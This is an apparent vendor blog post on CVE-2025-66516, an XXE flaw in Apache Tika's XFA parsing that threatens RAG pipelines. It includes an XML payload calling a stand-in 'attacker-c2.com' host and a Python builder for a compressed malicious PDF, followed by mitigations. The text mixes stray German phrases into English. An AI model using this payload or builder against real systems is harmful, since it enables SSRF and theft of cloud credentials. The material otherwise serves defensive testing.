Anatomie eines RAG-Killers: Vertiefung in CVE-2025-66516 und die Apache Tika RCE

In the rush to deploy Retrieval-Augmented Generation (RAG) pipelines, the industry collectively ignored a fundamental truth: The parser is the attack surface.

While the headlines in 2025 focused on Prompt Injection and Jailbreaking, the most devastating attacks target the unglamorous middleware processing the data. CVE-2025-66516 (CVSS 10.0) is the culmination of this oversight. It is not an AI vulnerability per se; it is a legacy infrastructure vulnerability weaponized against modern AI architectures.

This analysis breaks down the mechanics of the Apache Tika XFA vulnerability, demonstrates why standard WAFs fail to catch it, and provides a verified Proof of Concept (PoC) strategy for penetration testers.

The Context: Why CVE-2025-66516 Matters Now

To understand the severity, we must analyze the architecture of a typical Enterprise RAG system in 2026.

1. User Layer: An employee uploads a PDF (e.g., a financial report or resume) to an internal “AI Assistant.”
2. Ingestion Layer: The backend (LangChain, LlamaIndex, or custom Python scripts) utilizes a document loader.
3. Parsing Layer: 85% of these loaders rely on Apache Tika (often running as a headless server in a Docker container) to extract text.
4. Vectorization: The text is embedded and stored in a vector database (Pinecone, Milvus, Weaviate).

CVE-2025-66516 hits Layer 3. It allows an attacker to embed a malicious XML Forms Architecture (XFA) payload inside a standard PDF. When Tika attempts to parse the form data to extract text for the LLM, it executes the XML, leading to XML External Entity (XXE) injection.

Because Tika Server often runs with root privileges inside containers to handle temp files, this XXE escalates immediately to Entfernte Code-Ausführung (RCE) oder Server-seitige Anforderungsfälschung (SSRF), allowing attackers to dump AWS metadata credentials or pivot into the internal VPC.

Technical Breakdown: The XFA Parser Logic Flaw

The vulnerability exists in the org.apache.tika.parser.pdf.PDFParser class, specifically in how it handles the XDP (XML Data Package) packets inside a PDF.

In versions prior to 3.2.2, the logic for extracting XFA data looked something like this (simplified Java representation):

Java

// VULNERABLE CODE SEGMENT (Conceptual) if (document.getCatalog().getAcroForm().hasXFA()) { XFA xfa = document.getCatalog().getAcroForm().getXFA(); Document xfaDom = xfa.getDomDocument(); // <--- Trigger Point // The default XML transformer here did not disable DTDs // or external entities effectively for XFA streams. this.extractTextFromXFA(xfaDom); }

The critical failure was assuming that the PDF rendering engine (PDFBox) sanitized the XML stream before Tika accessed the DOM. It did not. The parser implicitly trusted the internal structure of the PDF.

Comparison: Standard XXE vs. CVE-2025-66516

Constructing the Exploit (PoC)

To weaponize this, a simple text editor isn’t enough. We need to manipulate the PDF object structure. The goal is to inject a malicious XDP stream that references an external entity under your control.

Phase 1: The Malicious XML Payload

First, we craft the XML that defines the entity. We want to test for Out-of-Band (OOB) interaction to confirm the vulnerability without crashing the server.

XML

<xdp:xdp xmlns:xdp="<http://ns.adobe.com/xdp/>"> <!DOCTYPE data [ <!ENTITY % payload SYSTEM "<http://attacker-c2.com/evict?data=CVE-2025-66516_HIT>"> %payload; ]> <template> <field name="Test">CVE-Check</field> </template> </xdp:xdp>

Phase 2: Python Injection Script

We use Python to wrap this XML into a valid PDF object structure. This bypasses signature-based antivirus because the file is a mathematically valid PDF.

Python

`import zlib

def build_exploit_pdf(callback_url): # 1. Define the Malicious XFA Packet xfa_xml = f””” <xdp:xdp xmlns:xdp=”http://ns.adobe.com/xdp/“> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM “{callback_url}”> %xxe; ]> </xdp:xdp> “””.strip()

# 2. Compress the stream (Obfuscation)
# Tika will automatically inflate this, but WAFs often miss compressed streams
stream_content = zlib.compress(xfa_xml.encode('utf-8'))

# 3. Construct the PDF Body
# Object 3 references the XFA stream
pdf_body = (
    b"%PDF-1.7\\n"
    b"1 0 obj\\n<< /Type /Catalog /Pages 2 0 R /AcroForm << /XFA 3 0 R >> >>\\nendobj\\n"
    b"2 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n"
    b"3 0 obj\\n<< /Length " + str(len(stream_content)).encode() + b" /Filter /FlateDecode >>\\n"
    b"stream\\n" + stream_content + b"\\nendstream\\nendobj\\n"
    b"trailer\\n<< /Root 1 0 R >>\\n%%EOF"
)

with open("resume_hacker.pdf", "wb") as f:
    f.write(pdf_body)
print(f"[+] Artifact 'resume_hacker.pdf' created using zlib compression.")

Ausführen

build_exploit_pdf(“http://burp-collaborator-url/xxe_trigger“)`

When the victim’s RAG agent processes resume_hacker.pdf to generate embeddings, the Tika backend inflates object 3, parses the XML, and fires a request to your collaborator URL.

The Blind Spot in Modern DevSecOps

Why is CVE-2025-66516 persistent in 2026? It highlights a significant gap in the “Shift Left” methodology.

Most DevSecOps teams scan their source code (SAST) and their base images (Container Scanning). However, Tika is often treated as a “black box” utility.

• SAST doesn’t see it because it’s a binary dependency.
• DAST (Dynamic Application Security Testing) usually fuzzes the API endpoints with JSON or SQLi, but rarely attempts complex, binary-format polyglot file uploads.

This is where legacy testing methodologies fail against AI Agents. The Agent is designed to consume complex unstructured data; therefore, the test cases must be complex unstructured data.

Automated Validation with Penligent

This specific vector—embedded attacks within unstructured file formats—is a core focus of next-generation offensive security. This is where tools like Sträflich differentiate themselves from traditional scanners like Nessus or Burp Suite.

Penligent’s AI agents are designed to understand the context of the application. When Penligent encounters a file upload endpoint in a RAG pipeline, it doesn’t just fuzz the HTTP headers. It intelligently constructs “mutation-based” payloads like the PDF exploit above. It effectively asks: “If I feed this AI a resume that contains a kernel-level exploit, will it process it?”

By automating the creation of these polyglot files (PDFs containing XXE, images containing PHP webshells), Penligent simulates a sophisticated attacker who understands the underlying parsing logic of the target, providing a realistic assessment of the RAG pipeline’s resilience against CVE-2025-66516 and similar “format-confusion” attacks.

Mitigation Strategies

If your organization relies on Tika (or frameworks that bundle it, like Unstructured.io or LangChain Community), apply these fixes immediately.

1. The “Nuclear” Option: Disable XFA

Unless your business specifically requires parsing data from interactive PDF forms (which is rare for RAG), disable the XFA parser entirely in tika-config.xml.

XML

<properties> <parsers> <parser class="org.apache.tika.parser.pdf.PDFParser"> <params> <param name="extractXFA" type="bool">false</param> <param name="extractAcroFormContent" type="bool">false</param> <param name="allowExtractionForAccessibility" type="bool">false</param> </params> </parser> </parsers> </properties>

2. Isolate the Parser (The “Airlock” Pattern)

Never run document parsing in the same context as your application logic or vector database.

• Run Tika in a distroless container.
• Netzwerk-Isolierung: The Tika container should have zero egress access. It receives a file, returns text, and cannot initiate connections to the internet or the internal cloud metadata service (169.254.169.254).
• Begrenzte Ressourcen: Set strict memory limits (Xmx) to prevent “Billion Laughs” DoS attacks, which are often cousins of XXE.

3. Move to Sandboxed Parsers

Consider moving away from Java-based parsers for untrusted input. Modern alternatives utilizing Rust or Go, or sandboxed environments like gVisor oder AWS Firecracker, provide a much stronger isolation layer for the inherently risky task of parsing binary files.

Zusammenfassung

CVE-2025-66516 serves as a wake-up call for AI Security. We are building intelligent castles on top of sand. As long as our AI models rely on decades-old parsing libraries to interpret the world, those libraries will remain the path of least resistance for attackers.

Secure your ingestion layer. Verify your Tika versions. And assume every PDF uploaded to your system is a weapon until proven otherwise.

Referenzen und weiterführende Literatur

• Apache Tika Security Bulletins (Official)
• OWASP Top 10 for LLM Applications: LLM06 Excessive Agency
• NVD – CVE-2025-66516 Detail
• BlackHat 2025 Presentation: “Parsing the Unparsable”